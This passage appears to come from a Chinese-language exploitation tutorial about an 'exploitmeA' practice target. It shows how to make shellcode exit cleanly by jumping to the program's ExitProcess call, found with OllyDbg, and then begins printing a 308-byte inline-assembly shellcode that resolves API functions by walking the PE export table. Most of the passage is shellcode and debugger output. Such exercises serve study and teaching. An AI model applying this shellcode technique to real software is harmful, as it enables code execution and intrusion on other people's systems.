怎么办???
我的解决办法是修改从①开始到①结束位置的代码为:
引用:
mov eax,00402005h
jmp eax
跳转到00402005h地址执行。
为什么这样做呢???
用od打开文件exploitmeA,右键->查找->所有模块间调用:
会看到下面两行:
引用:
00402005 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess
00402148 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess
在exploitmeA中,00402005位置的代码:
引用:
00401FFB |. FF7424 08 push dword ptr [esp+8] ; /ExitCode
00401FFF |. 893D F09A4000 mov dword ptr [409AF0], edi ; |
00402005 |. FF15 28804000 call dword ptr [<&KERNEL32.ExitProces>; \ExitProcess
在这里退出程序。
这下子大家理解了吧。
修改后的shellcode为(修改后shellcode总长度308)
引用:
void ShellcodeFunc()
{
unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
unsigned int ImageBase,flen;
char *FuncName;
__asm
{
///////////////////////////
//signature of ShellcodeStart
// _emit ’S’
// _emit ’h’
// _emit ’e’
// _emit ’l’
// _emit ’l’
// _emit ’c’
// _emit ’o’
// _emit ’d’
// _emit ’e’
// _emit ’S’
// _emit ’t’
// _emit ’a’
// _emit ’r’
// _emit ’t’
////////////////////////////
jmp Start
GetFunc:
mov eax,ImageBase
mov eax,[eax+0x3c]
add eax,ImageBase
mov eax,[eax+0x78]
add eax,ImageBase
mov esi,eax
mov ecx,[eax+0x18]
mov eax,[eax+0x20]
add eax,ImageBase
mov ebx,eax
xor edx,edx
FindLoop:
push ecx
push esi
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen
cld
rep cmpsb
pop esi